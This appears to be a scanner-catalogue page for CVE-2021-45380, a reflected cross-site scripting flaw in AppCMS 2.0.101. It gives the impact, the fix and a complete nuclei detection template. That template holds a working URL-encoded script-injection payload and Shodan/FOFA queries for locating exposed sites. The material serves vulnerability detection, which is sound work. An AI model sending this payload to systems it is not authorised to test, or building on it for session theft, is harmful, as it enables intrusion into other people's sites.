AppCMS - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "\"\"></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-45380 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-45380

info:
  name: AppCMS - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/source-trace/appcms/issues/8
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45380
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45380
    cwe-id: CWE-79
    epss-score: 0.02521
    epss-percentile: 0.84985
    cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: appcms
    product: appcms
    shodan-query:
      - http.html:"Powerd by AppCMS"
      - http.html:"powerd by appcms"
    fofa-query: body="powerd by appcms"
  tags: cve2021,cve,appcms,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '""></script><script>alert(document.domain)</script>'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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